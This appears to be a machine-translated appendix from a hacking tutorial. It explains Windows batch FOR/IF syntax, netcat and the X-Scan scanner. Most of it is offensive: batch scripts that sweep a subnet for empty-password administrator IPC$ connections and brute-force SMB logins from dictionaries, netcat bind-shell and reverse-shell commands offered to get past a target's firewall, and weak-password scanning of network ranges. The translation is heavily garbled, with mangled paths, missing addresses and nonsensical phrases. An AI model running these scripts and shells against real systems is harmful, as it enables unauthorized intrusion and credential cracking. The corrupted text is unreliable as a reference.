Appendix: batch processing commands and variables
1: Basic Format of for commands and variables:
FOR/parameter % variable IN (set) DO command [command_parameters] % variable: specify a parameter that can be replaced by a single letter, FOR example, % I, and specify a variable: % I, which is case sensitive (% I is not equal to % I ).
Each batch processing can process 10 variables from % 0-% 9, of which % 0 is used by default for batch file names, % 1 is the first value input when this batch is used by default. Similarly, % 2-% 9 indicates the input value 2-9. For example: net use \ ip \ ipc $ pass/user: the ip address in user is % 1, pass is % 2, and user is % 3
(Set): Specifies one or more files. Wildcards can be used, such as: (D: \ user.txt) and (1 1 254) (1-1 254 ), {"(1 254)" the first "1" indicates the start value, the second "1" indicates the growth volume, and the third "254" indicates the end value, that is: from 1 to 254; "(1-1 254)" Description: from 254 to 1}
Command: Specifies the command to be executed on the first file, such as the net use command. If you want to execute multiple commands, the command is separated: &.
Command_parameters: specify a parameter or command line switch for a specific command
IN (set): refers to the value IN (set); DO command: refers to the execution of command
Parameter:/L indicates the incremental form {(set) is the incremental form};/F indicates the constant value from the file until it is obtained {(set) is the file, for example, (d: \ pass.txt }.
@ Echo off
Echo format: test. bat *. *. *> test.txt
For/L % G in (1 254) do echo % 1.% G> test.txt & net use \ % 1.% G/user: *** istrator | find "command completed successfully"> test.txt
Save as test. bat. Note: For the 254 IP addresses of a specified class c cidr Block, try to establish a *** istratorpassword for an empty ipc$connection. If it succeeds, the IPaddress will be stored in test.txt.
/L indicates the incremental format (from 1-254 or-1); the first three digits of the input IP Address :*. *. * The default value is % 1 for batch processing. % G is the variable (the last digit of the ip address). & it is used to separate the echo and net use commands; | indicates that after ipc $ is created, use find in the result to check whether "command is successfully completed" information; % 1.% G is the complete IP address. (1 1 254) indicates the starting value, growth volume, and end value.
@ Echo off
Echo format: OK. bat ip
FOR/F % I IN (D: \ user. dic) DO smb.exe % 1% % I D: \ pass. dic 200
Save as: OK .exe Description: after entering an IP address, use the dictionary file d: \ pass. dic to crack the user password in d: \ user. dic until the value of the file is obtained. % I is the user name; % 1 is the input IP address (default ).
2: if command and variable basic format:
IF [not] errorlevel numeric command statement IF the program runs the program and returns an exit code equal to or greater than the specified number, the specified condition is "true ".
For example, IF errorlevel 0 refers to the command after the program executes and returns a value of 0. IF not errorlevel 1 refers to the value not equal to 1 after the program executes, run the following command.
0 indicates that the task is detected and executed successfully (true). 1 indicates that the task is not found or executed (false ).
IF [not] string 1 = string 2, IF the specified text string matches (that is, string 1 equals string 2), run the following command.
For example, "if" % 2% "=" 4 "goto start" indicates that if the second input variable is 4, run the following command (note: when the variable is called, % variable name % is added "")
IF [not] exist file name command statement IF the specified file name exists, execute the following command.
For example, "if not nc.exe goto end" means that if the nc.exe file is not found, it will jump to the ": end" tab.
IF [not] errorlevel numeric command statement else command statement or IF [not] string 1 = string 2 command statement else command statement or IF [not] exist file name command statement else command statement plus: after the else command statement, it refers to the command after the else command line when the current condition is invalid. Note: else must be in the same line as if to be valid. When there is a del command, you must <> enclose all the del commands, because the del command can only be executed in a single line. After using <>, It is equal to a single line. For example: "if exist test.txt. <del test.txt.> else echo test.txt. missing, pay attention to the "."
(2) system external commands (related tools must be downloaded ):
1. Swiss Army knife: nc.exe
Parameter description:
-H: View help information
-D background Mode
-E prog program redirection, which is executed once the connection is established [dangerous 〕
-I secs latency Interval
-L listening mode for inbound connection
-L listening mode. After the connection day is closed, the listener continues until the CTR + C
-N IP address, cannot use Domain Name
-O film records hexadecimal Transmission

-T use Telnet Interaction Mode
-U P Mode
-V: Detailed output. Use-vv to show more details.
-W digital timeout delay interval

Basic usage:
Nc-nvv 80 connects to port 80 of the host
Nc-l-p 80 enables TCP port 80 of the Local Machine and listens
Nc-nvv-w2-z 80-1024 scan the port 80-1024 of
Nc-l-p 5354-t-e c: winntsystem320000.exe bind the remote host's shell to the remote TCP port 5354
Nc-t-e c: winntsystem320000.exe 5354 configure the remote host's internal shell and reverse connect to port 5354 of
Advanced usage:
1 for nc-L-p 80 as a honeypot: Enable and constantly listen to port 80 until CTR + C
Nc-L-p 80> c: \ log.txt as a honeypot 2: Enable and constantly listen to port 80 until CTR + C, and output the result to c: \ log.txt
Nc-L-p 80 <c: \ honeyport.txt is used as a honeypot with 3-1: Enable and constantly listen to port 80 until CTR + C, and set c: the content in \ honeyport.txt is sent to the media transcoding queue.
Type.exe c: \ honeyport | nc-L-p 80 is used as a honeypot 3-2: Enable and constantly listen to port 80 until CTR + C, and set c: the content in \ honeyport.txt is sent to the media transcoding queue.
Local Port: nc-l-p
Use nc-e cmd.exe local IP address-p local port * win2K on the target host
Nc-e/bin/sh local IP address-p local port * linux, unix reverse connection breaks through the firewall of the other host
Local Port: nc-d-l-p <file path and name to be transferred
Use the local IP address nc-vv on the host to store the file path and name to transfer the file to the host.
Secondary note:
| MPs queue command
<Or> redirect command. "<", For example: tlntadmn <test.txt indicates assigning the content of test.txt to the tlntadmn command.
@ Indicates that the command after @ is executed, but it is not displayed (executed in the background). For example, @ dir c: \ winnt> d: \ log.txt indicates that dir is executed in the background, and the result is stored in d: \ log.txt.
> And> difference ">" means: overwrite; ">" means: Save to (add ).
For example, run the following two Commands: @ dir c: \ winnt> d: \ log.txt and @ dir c: \ winnt> d: \ log.txt to perform two comparisons:> is used to save the second result, while ">" is used only once because the second result overwrites the first result.
2. Scan the anchor tool: xscan.exe
Basic Format
Xscan-host <start IP> [-<End IP>] <check item> [other options] scan the host information of all hosts in the "Start IP to end IP" segment
Xscan-file Detection item
-Active: checks whether the host is alive.
-OS remote operating system type detection (via NETBIOS and SNMP Protocol)
-Port: checks the port status of common services.
-Ftp weak FTP password detection
-P checks anonymous FTP Service User Write Permissions

-SQL detection SQL-Server Weak Password
-Smb detects weak NT-Server passwords
-Iis detects the IIS encoding/Decoding Vulnerability
-Cgi Vulnerability Detection
-Nasl loads the Nessus Attack Script
-All: detects all the above items.
Other options
-I adapter number: Set the network adapter. <adapter number> You can obtain it through the "-l" parameter.
-L display all network adapters
-V: displays the detailed scan progress.
-P skips the host with No Response

Usage example
Xscan-host detects all vulnerabilities on hosts in the network segment and skips unresponsive hosts.
Xscan-host 150-o checks the standard port status of the host in the network segment. If you are an NT weak password user, the maximum number of concurrent threads is 150, skip hosts with no ports Detected
Xscan-file hostlist.txt-port-cgi-t 200, 5-v-o detects the standard port status of all hosts listed in the “hostlist.txt file. The CGI vulnerability has a maximum number of concurrent threads, A maximum of five hosts can be detected at the same time, and detailed detection progress is displayed. Skip hosts with no ports detected.
